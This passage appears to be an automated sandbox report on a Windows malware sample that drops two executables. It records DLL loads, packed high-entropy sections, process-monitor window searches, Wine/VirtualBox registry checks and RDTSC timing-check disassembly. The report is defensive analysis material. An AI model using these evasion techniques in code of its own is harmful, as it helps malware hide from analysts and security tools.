Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: FBVmDbz2nb.exe

Static file information: File size 1857536 > 1048576

Source: FBVmDbz2nb.exe

Static PE information: Raw size of truimtqs is bigger than: 0x100000 < 0x19d400

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 225E7CNEQKY05J8BSS2KINA.exe, 00000003.00000002.1778568041.00000000002B2000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Unpacked PE file: 3.2.225E7CNEQKY05J8BSS2KINA.exe.2b0000.0.unpack :EW;.rsrc:W;.idata :W;brdofphe:EW;pzoalvov:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Unpacked PE file: 4.2.RBZFTNPOH3OCI4WNHGK52I3.exe.530000.0.unpack :EW;.rsrc:W;.idata :W;ynqricro:EW;wjlvyldl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ynqricro:EW;wjlvyldl:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 225E7CNEQKY05J8BSS2KINA.exe.0.dr	Static PE information: real checksum: 0x2ac9fa should be: 0x2b1d20
Source: FBVmDbz2nb.exe	Static PE information: real checksum: 0x1c757b should be: 0x1c7fdf
Source: RBZFTNPOH3OCI4WNHGK52I3.exe.0.dr	Static PE information: real checksum: 0x2b4c84 should be: 0x2c0e47

Source: FBVmDbz2nb.exe	Static PE information: section name:
Source: FBVmDbz2nb.exe	Static PE information: section name: .idata
Source: FBVmDbz2nb.exe	Static PE information: section name:
Source: FBVmDbz2nb.exe	Static PE information: section name: truimtqs
Source: FBVmDbz2nb.exe	Static PE information: section name: eplokceg
Source: FBVmDbz2nb.exe	Static PE information: section name: .taggant
Source: 225E7CNEQKY05J8BSS2KINA.exe.0.dr	Static PE information: section name:
Source: 225E7CNEQKY05J8BSS2KINA.exe.0.dr	Static PE information: section name: .idata
Source: 225E7CNEQKY05J8BSS2KINA.exe.0.dr	Static PE information: section name: brdofphe
Source: 225E7CNEQKY05J8BSS2KINA.exe.0.dr	Static PE information: section name: pzoalvov
Source: 225E7CNEQKY05J8BSS2KINA.exe.0.dr	Static PE information: section name: .taggant
Source: RBZFTNPOH3OCI4WNHGK52I3.exe.0.dr	Static PE information: section name:
Source: RBZFTNPOH3OCI4WNHGK52I3.exe.0.dr	Static PE information: section name: .idata
Source: RBZFTNPOH3OCI4WNHGK52I3.exe.0.dr	Static PE information: section name: ynqricro
Source: RBZFTNPOH3OCI4WNHGK52I3.exe.0.dr	Static PE information: section name: wjlvyldl
Source: RBZFTNPOH3OCI4WNHGK52I3.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Code function: 0_3_015ECF40 push eax; iretd	0_3_015ECF41
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Code function: 0_3_015ECF40 push eax; iretd	0_3_015ECF41
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Code function: 0_3_015EE964 push esi; retf	0_3_015EE98B
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Code function: 0_3_015EE964 push esi; retf	0_3_015EE98B
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Code function: 0_3_015F5924 push esi; retf	0_3_015F5927
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Code function: 0_3_015F5924 push esi; retf	0_3_015F5927
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Code function: 0_3_0160518E push eax; retf 0005h	0_3_016052B9
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Code function: 0_3_0160518E push eax; retf 0005h	0_3_016052B9
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Code function: 0_3_015C152F push cs; iretd	0_3_015C1530
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Code function: 0_3_015C9020 push esi; iretd	0_3_015C9021
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Code function: 0_3_015ECF40 push eax; iretd	0_3_015ECF41
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Code function: 0_3_015ECF40 push eax; iretd	0_3_015ECF41
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Code function: 0_3_015EE964 push esi; retf	0_3_015EE98B
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Code function: 0_3_015EE964 push esi; retf	0_3_015EE98B
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Code function: 0_3_015F5924 push esi; retf	0_3_015F5927
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Code function: 0_3_015F5924 push esi; retf	0_3_015F5927
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Code function: 0_3_0160518E push eax; retf 0005h	0_3_016052B9
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Code function: 0_3_0160518E push eax; retf 0005h	0_3_016052B9
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Code function: 3_2_00442D79 push ebx; mov dword ptr [esp], 3FF0ACADh	3_2_00442D83
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Code function: 3_2_00434DD2 push edx; mov dword ptr [esp], 2DFAC020h	3_2_00434E1B
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Code function: 3_2_00434DD2 push eax; mov dword ptr [esp], ecx	3_2_00434E66
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Code function: 3_2_00434DD2 push ecx; mov dword ptr [esp], edi	3_2_00434EFD
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Code function: 3_2_00434DD2 push ecx; mov dword ptr [esp], ebx	3_2_00434F36
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Code function: 3_2_00442E09 push esi; mov dword ptr [esp], 00DAF543h	3_2_00443BD1
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Code function: 3_2_00442E09 push esi; mov dword ptr [esp], edx	3_2_00443BEC
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Code function: 3_2_00442E09 push 50590FD7h; mov dword ptr [esp], ebx	3_2_00444745
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Code function: 3_2_002C082C push edx; mov dword ptr [esp], 7BDAE48Ah	3_2_002C083E
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Code function: 3_2_002C082C push 5CDC056Dh; mov dword ptr [esp], ecx	3_2_002C39CB
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Code function: 3_2_002C082C push 01BFAC10h; mov dword ptr [esp], esi	3_2_002C39E2
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Code function: 3_2_002C1031 push 36AC817Fh; mov dword ptr [esp], ebp	3_2_002C3E34
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Code function: 3_2_002C300F push 1BF7A93Eh; mov dword ptr [esp], edx	3_2_002C303D

Source: FBVmDbz2nb.exe	Static PE information: section name: entropy: 7.97568239553893
Source: FBVmDbz2nb.exe	Static PE information: section name: truimtqs entropy: 7.953857764268723

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File created: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe			Jump to dropped file
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File created: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D90A5E second address: D90A95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8784B30556h 0x0000000a push edx 0x0000000b jmp 00007F8784B3055Eh 0x00000010 jmp 00007F8784B3055Ch 0x00000015 pop edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007F8784B3055Ch 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D90A95 second address: D90AB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8784D6226Dh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D90AB0 second address: D90AB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D8FA91 second address: D8FA95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D8FA95 second address: D8FA99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D8FA99 second address: D8FAB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F8784D62272h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D8FAB9 second address: D8FAD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F8784B30569h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D8FDAA second address: D8FDB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D8FDB0 second address: D8FDCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30564h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D8FDCA second address: D8FDCF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D8FDCF second address: D8FDEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784B30563h 0x00000009 pop ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D8FF79 second address: D8FF7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D9009F second address: D900AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8784B30556h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D92B77 second address: D92BA0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8784D62268h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jl 00007F8784D62271h 0x00000014 mov eax, dword ptr [eax] 0x00000016 push edx 0x00000017 pushad 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D92D2A second address: D92D53 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8784B30556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007F8784B30562h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pushad 0x0000001a popad 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D92D53 second address: D92DBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62275h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a or cx, E261h 0x0000000f lea ebx, dword ptr [ebp+1244EA82h] 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F8784D62268h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 00000014h 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D1AA3h], ebx 0x00000035 sub dword ptr [ebp+122D1BD2h], eax 0x0000003b xchg eax, ebx 0x0000003c jmp 00007F8784D62277h 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 push edx 0x00000045 push ecx 0x00000046 pop ecx 0x00000047 pop edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D92DBF second address: D92DC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D92F24 second address: D92F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D92F28 second address: D92F32 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D92F32 second address: D92F58 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8784D62266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F8784D6226Eh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D92F58 second address: D92F5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D92FEF second address: D93062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push eax 0x0000000a jmp 00007F8784D62274h 0x0000000f pop eax 0x00000010 nop 0x00000011 push eax 0x00000012 pushad 0x00000013 mov dword ptr [ebp+122D39FAh], edx 0x00000019 mov esi, edi 0x0000001b popad 0x0000001c pop esi 0x0000001d jnp 00007F8784D62268h 0x00000023 mov dh, 4Ch 0x00000025 push 00000000h 0x00000027 mov dword ptr [ebp+122D39FAh], eax 0x0000002d call 00007F8784D62269h 0x00000032 jmp 00007F8784D6226Ah 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b jmp 00007F8784D62279h 0x00000040 jg 00007F8784D62266h 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D93062 second address: D93067 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D93067 second address: D93090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784D62279h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D93090 second address: D93094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D93094 second address: D93098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D93098 second address: D9314C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [eax] 0x00000009 ja 00007F8784B3056Fh 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 jbe 00007F8784B3055Ch 0x0000001a jg 00007F8784B30556h 0x00000020 jmp 00007F8784B30563h 0x00000025 popad 0x00000026 pop eax 0x00000027 call 00007F8784B3055Bh 0x0000002c sub dword ptr [ebp+122D1B68h], esi 0x00000032 pop esi 0x00000033 push 00000003h 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007F8784B30558h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 00000014h 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f mov ecx, dword ptr [ebp+122D1A28h] 0x00000055 mov cx, ax 0x00000058 push 00000000h 0x0000005a sub dword ptr [ebp+1244980Bh], ecx 0x00000060 push 00000003h 0x00000062 pushad 0x00000063 add dword ptr [ebp+122D1A40h], ebx 0x00000069 call 00007F8784B3055Ah 0x0000006e xor dword ptr [ebp+122D21EEh], esi 0x00000074 pop esi 0x00000075 popad 0x00000076 push 4C788495h 0x0000007b push eax 0x0000007c push edx 0x0000007d push edi 0x0000007e push eax 0x0000007f push edx 0x00000080 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D9314C second address: D93151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D93151 second address: D93185 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30561h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 73877B6Bh 0x00000010 mov dword ptr [ebp+122D1A40h], esi 0x00000016 lea ebx, dword ptr [ebp+1244EA96h] 0x0000001c mov dx, di 0x0000001f mov di, cx 0x00000022 push eax 0x00000023 push edi 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
